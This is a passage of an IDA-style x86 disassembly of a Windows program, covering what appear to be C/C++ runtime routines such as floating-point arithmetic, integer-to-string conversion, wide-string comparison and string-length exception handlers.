loc_425BC7:				; CODE XREF: sub_425973+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425BD6:				; CODE XREF: sub_425973+F0j
		mov	eax, [ebp+var_4]


loc_425BD9:				; CODE XREF: sub_425973+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_425BDE:				; CODE XREF: sub_425973+239j
					; sub_425973+275j
		cmp	eax, ecx
		jb	short loc_425BEE
		cmp	byte ptr [eax],	30h
		jnz	short loc_425BEA
		dec	eax
		jmp	short loc_425BDE
; ---------------------------------------------------------------------------


loc_425BEA:				; CODE XREF: sub_425973+272j
		cmp	eax, ecx
		jnb	short loc_425BC7


loc_425BEE:				; CODE XREF: sub_425973+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_425BFD:				; CODE XREF: sub_425973+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425BD9
sub_425973	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C06	proc near		; CODE XREF: sub_422DFC+21DDp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_425C6D
		dec	eax
		dec	eax
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C5E
		sub	eax, 3
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C51
		sub	eax, 6
		jz	short loc_425C44
		dec	eax
		jz	short loc_425C37
		or	eax, 0FFFFFFFFh
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C37:				; CODE XREF: sub_425C06+27j
		mov	esi, dword_4DC004
		mov	eax, offset dword_4DC004
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C44:				; CODE XREF: sub_425C06+24j
		mov	esi, dword_4DC000
		mov	eax, offset dword_4DC000
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C51:				; CODE XREF: sub_425C06+1Fj
		mov	esi, dword_4DC008
		mov	eax, offset dword_4DC008
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C5E:				; CODE XREF: sub_425C06+10j
					; sub_425C06+15j ...
		push	edi
		call	sub_425D33
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C6D:				; CODE XREF: sub_425C06+Cj
		mov	esi, dword_4DBFFC
		mov	eax, offset dword_4DBFFC


loc_425C78:				; CODE XREF: sub_425C06+3Cj
					; sub_425C06+49j ...
		cmp	esi, 1
		jnz	short loc_425C84
		xor	eax, eax
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C84:				; CODE XREF: sub_425C06+75j
		test	esi, esi
		jnz	short loc_425C8F
		push	3
		call	sub_41C1A2


loc_425C8F:				; CODE XREF: sub_425C06+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_425CA1
		cmp	edi, 0Bh
		jz	short loc_425CA1
		cmp	edi, 4
		jnz	short loc_425CC7


loc_425CA1:				; CODE XREF: sub_425C06+8Fj
					; sub_425C06+94j
		mov	ebx, dword_4DBE9C
		and	dword_4DBE9C, 0
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	edx, dword_43D4CC
		mov	dword_43D4CC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425CCA
; ---------------------------------------------------------------------------


loc_425CC7:				; CODE XREF: sub_425C06+99j
		mov	ebx, [ebp+arg_0]


loc_425CCA:				; CODE XREF: sub_425C06+BFj
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	eax, dword_43D4C0
		mov	ecx, dword_43D4C4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425CFD
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43D450h[edx*4]


loc_425CEB:				; CODE XREF: sub_425C06+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425CEB
		jmp	short loc_425CFD
; ---------------------------------------------------------------------------


loc_425CF6:				; CODE XREF: sub_425C06+AAj
					; sub_425C06+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425D0B


loc_425CFD:				; CODE XREF: sub_425C06+D7j
					; sub_425C06+EEj
		push	dword_43D4CC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425D19
; ---------------------------------------------------------------------------


loc_425D0B:				; CODE XREF: sub_425C06+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425D19
		cmp	edi, 4
		jnz	short loc_425D2C


loc_425D19:				; CODE XREF: sub_425C06+103j
					; sub_425C06+10Cj
		cmp	edi, 8
		mov	dword_4DBE9C, ebx
		jnz	short loc_425D2C
		mov	eax, [ebp+arg_0]
		mov	dword_43D4CC, eax


loc_425D2C:				; CODE XREF: sub_425C06+111j
					; sub_425C06+11Cj
		xor	eax, eax
		pop	ebx


loc_425D2F:				; CODE XREF: sub_425C06+2Cj
					; sub_425C06+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425C06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425D33	proc near		; CODE XREF: sub_425C06+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4C8
		cmp	dword_43D44C, edx
		push	esi
		mov	eax, offset dword_43D448
		jz	short loc_425D61
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D448h[esi*4]


loc_425D55:				; CODE XREF: sub_425D33+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425D61
		cmp	[eax+4], edx
		jnz	short loc_425D55


loc_425D61:				; CODE XREF: sub_425D33+16j
					; sub_425D33+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D448h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425D75
		cmp	[eax+4], edx
		jz	short locret_425D77


loc_425D75:				; CODE XREF: sub_425D33+3Bj
		xor	eax, eax

locret_425D77:				; CODE XREF: sub_425D33+40j
		retn
sub_425D33	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D78	proc near		; CODE XREF: sub_4251BB+8Bp
					; sub_4251BB+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD140
		jnb	short loc_425DDF
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425DDF
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425DB8
		and	cl, 7Fh
		jmp	short loc_425DC5
; ---------------------------------------------------------------------------


loc_425DB8:				; CODE XREF: sub_425D78+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425DD3
		or	cl, 80h


loc_425DC5:				; CODE XREF: sub_425D78+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425DD3:				; CODE XREF: sub_425D78+48j
		mov	dword_4DBDDC, 16h
		jmp	short loc_425DE9
; ---------------------------------------------------------------------------


loc_425DDF:				; CODE XREF: sub_425D78+Bj
					; sub_425D78+27j
		mov	dword_4DBDDC, 9


loc_425DE9:				; CODE XREF: sub_425D78+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DEE	proc near		; CODE XREF: sub_425973+165p
					; sub_42600E+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425FEE
		cmp	cx, 7FFFh
		jnb	loc_425FEE
		cmp	dx, 0BFFDh
		ja	loc_425FEE
		cmp	dx, 3FBFh
		ja	short loc_425E57
		xor	eax, eax
		jmp	short loc_425E91
; ---------------------------------------------------------------------------


loc_425E57:				; CODE XREF: sub_425DEE+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425E79
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425E79
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425E7B
		cmp	[esi], eax
		jnz	short loc_425E7B
		jmp	loc_425FE8
; ---------------------------------------------------------------------------


loc_425E79:				; CODE XREF: sub_425DEE+71j
					; sub_425DEE+79j
		xor	eax, eax


loc_425E7B:				; CODE XREF: sub_425DEE+80j
					; sub_425DEE+84j
		cmp	cx, ax
		jnz	short loc_425E9E
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425E9E
		cmp	[ebx+4], eax
		jnz	short loc_425E9E
		cmp	[ebx], eax
		jnz	short loc_425E9E


loc_425E91:				; CODE XREF: sub_425DEE+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_426009
; ---------------------------------------------------------------------------


loc_425E9E:				; CODE XREF: sub_425DEE+90j
					; sub_425DEE+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425EAE:				; CODE XREF: sub_425DEE+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425F02
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425ECA:				; CODE XREF: sub_425DEE+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425EF5
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425EF5:				; CODE XREF: sub_425DEE+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425ECA


loc_425F02:				; CODE XREF: sub_425DEE+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425EAE
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425F45


loc_425F20:				; CODE XREF: sub_425DEE+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425F3E
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_425380
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F20


loc_425F3E:				; CODE XREF: sub_425DEE+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F7E


loc_425F45:				; CODE XREF: sub_425DEE+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425F7E
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425F5E:				; CODE XREF: sub_425DEE+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425F67
		inc	[ebp+var_14]


loc_425F67:				; CODE XREF: sub_425DEE+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4253AE
		dec	ebx
		pop	ecx
		jnz	short loc_425F5E
		cmp	[ebp+var_14], 0
		jz	short loc_425F7E
		or	byte ptr [ebp+var_24], 1


loc_425F7E:				; CODE XREF: sub_425DEE+155j
					; sub_425DEE+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425F95
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425FCA


loc_425F95:				; CODE XREF: sub_425DEE+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425FC7
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425FC2
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425FBC
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FBC:				; CODE XREF: sub_425DEE+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC2:				; CODE XREF: sub_425DEE+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425DEE+1ABj
		inc	[ebp+var_24+2]


loc_425FCA:				; CODE XREF: sub_425DEE+1A5j
					; sub_425DEE+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425FEE
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425FE8:				; CODE XREF: sub_425DEE+86j
		mov	[esi+0Ah], ax
		jmp	short loc_426009
; ---------------------------------------------------------------------------


loc_425FEE:				; CODE XREF: sub_425DEE+42j
					; sub_425DEE+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_426009:				; CODE XREF: sub_425DEE+ABj
					; sub_425DEE+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425DEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42600E	proc near		; CODE XREF: sub_4254A2+440p
					; sub_425973+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D828
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		jge	short loc_426036
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D988
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_426036:				; CODE XREF: sub_42600E+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_426041
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_426041:				; CODE XREF: sub_42600E+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		push	esi
		push	edi


loc_426048:				; CODE XREF: sub_42600E+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_426080
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_426073
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_426073:				; CODE XREF: sub_42600E+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425DEE
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_426080:				; CODE XREF: sub_42600E+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_426048
		pop	edi
		pop	esi


loc_426087:				; CODE XREF: sub_42600E+14j
					; sub_42600E+36j
		pop	ebx
		leave
		retn
sub_42600E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426090	proc near		; CODE XREF: sub_426173+19p
					; sub_42629A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D9B3
		mov	eax, esi
		pop	esi
		retn	8
sub_426090	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260BA	proc near		; CODE XREF: ___:004260E5p
					; sub_426168+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_40D977
		mov	ecx, esi
		pop	esi
		jmp	sub_426564
sub_4260BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260D5	proc near		; DATA XREF: ___:00427C94o
					; ___:00427CA4o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4260E1
		mov	eax, offset dword_427688

locret_4260E1:				; CODE XREF: sub_4260D5+5j
		retn
sub_4260D5	endp

; ---------------------------------------------------------------------------


loc_4260E2:				; DATA XREF: ___:off_427C90o
		push	esi
		mov	esi, ecx
		call	sub_4260BA
		test	byte ptr [esp+8], 1
		jz	short loc_4260F8
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4260F8:				; CODE XREF: ___:004260EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4260FE	proc near		; CODE XREF: sub_426173+29p
		mov	eax, offset loc_426AE2
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4260FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42614C	proc near		; DATA XREF: ___:off_427CA0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426168
		test	[esp+4+arg_0], 1
		jz	short loc_426162
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426162:				; CODE XREF: sub_42614C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42614C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426168	proc near		; CODE XREF: sub_42614C+3p
					; DATA XREF: ___:00428014o
		mov	dword ptr [ecx], offset	off_427CA0
		jmp	sub_4260BA
sub_426168	endp


; =============== S U B	R O U T	I N E =======================================



sub_426173	proc near		; CODE XREF: sub_40D824+13p
					; sub_40D9E8+Ep
		mov	eax, offset loc_426AF4
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4260FE
		push	offset dword_428010
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_426173	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4261B0	proc near		; CODE XREF: sub_4260FE+32p
					; sub_4261D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D824
		mov	eax, esi
		pop	esi
		retn	4
sub_4261B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4261D0	proc near		; CODE XREF: sub_42629A+29p
		mov	eax, offset loc_426B06
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4261D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426218	proc near		; CODE XREF: sub_426282+7p
					; sub_4262DE+7p ...
		mov	eax, offset loc_426B18
		call	sub_41D640
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42651A
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426218	endp


; =============== S U B	R O U T	I N E =======================================



sub_42625B	proc near		; DATA XREF: ___:off_427CCCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426277
		test	[esp+4+arg_0], 1
		jz	short loc_426271
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426271:				; CODE XREF: sub_42625B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42625B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426277	proc near		; CODE XREF: sub_42625B+3p
					; DATA XREF: ___:004280BCo
		mov	dword ptr [ecx], offset	off_427CCC
		jmp	sub_4260BA
sub_426277	endp


; =============== S U B	R O U T	I N E =======================================



sub_426282	proc near		; CODE XREF: sub_4262F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		retn	4
sub_426282	endp


; =============== S U B	R O U T	I N E =======================================



sub_42629A	proc near		; CODE XREF: sub_40D774+15p
					; sub_40D7CD+15p ...
		mov	eax, offset loc_426B2A
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4261D0
		push	offset dword_4280B8
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427CCC
		call	sub_426587
		int	3		; Trap to Debugger
sub_42629A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262DE	proc near		; CODE XREF: sub_4262F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CCC
		mov	eax, esi
		pop	esi
		retn	4
sub_4262DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4262F6	proc near		; DATA XREF: ___:00427C98o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426218
		push	offset dword_4280F8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426314:				; DATA XREF: ___:00427CD4o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4262DE
		push	offset dword_4280B8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426332:				; DATA XREF: ___:00427CA8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426282
		push	offset dword_428010
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_4262F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426350	proc near		; CODE XREF: sub_40D104+5Ep
					; ___:00415771p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426350	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426356	proc near		; CODE XREF: sub_41D2AC+23p
					; sub_41D550+13p
		nop
		jmp	near ptr 2882065h
sub_426356	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42635C	proc near		; CODE XREF: ___:0040B091p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_426371
		cmp	[ebp+arg_0], 0
		jge	short loc_426371
		push	1
		push	0Ah
		jmp	short loc_426376
; ---------------------------------------------------------------------------


loc_426371:				; CODE XREF: sub_42635C+7j
					; sub_42635C+Dj
		push	0
		push	[ebp+arg_8]


loc_426376:				; CODE XREF: sub_42635C+13j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_426389
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_42635C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426389	proc near		; CODE XREF: sub_42635C+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_4263A3
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_4263A6
; ---------------------------------------------------------------------------


loc_4263A3:				; CODE XREF: sub_426389+Dj
		mov	esi, [ebp+arg_0]


loc_4263A6:				; CODE XREF: sub_426389+18j
		mov	edi, ecx


loc_4263A8:				; CODE XREF: sub_426389+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_4263C4
		add	bl, 57h
		jmp	short loc_4263C7
; ---------------------------------------------------------------------------


loc_4263C4:				; CODE XREF: sub_426389+34j
		add	bl, 30h


loc_4263C7:				; CODE XREF: sub_426389+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_4263A8
		and	byte ptr [ecx],	0
		dec	ecx


loc_4263D2:				; CODE XREF: sub_426389+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_4263D2
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_426389	endp


; =============== S U B	R O U T	I N E =======================================



sub_4263E5	proc near		; CODE XREF: sub_41761C+E2p
					; sub_41761C+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBE84, 0
		push	ebx
		jnz	short loc_42642B
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_4263F7:				; CODE XREF: sub_4263E5+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426409
		cmp	bx, 41h
		jb	short loc_426409
		add	ebx, 20h


loc_426409:				; CODE XREF: sub_4263E5+19j
					; sub_4263E5+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_42641B
		cmp	ax, 41h
		jb	short loc_42641B
		add	eax, 20h


loc_42641B:				; CODE XREF: sub_4263E5+2Bj
					; sub_4263E5+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_42645B
		cmp	bx, ax
		jz	short loc_4263F7
		jmp	short loc_42645B
; ---------------------------------------------------------------------------


loc_42642B:				; CODE XREF: sub_4263E5+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_426435:				; CODE XREF: sub_4263E5+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_4265C1
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_4265C1
		pop	ecx
		test	bx, bx
		pop	ecx
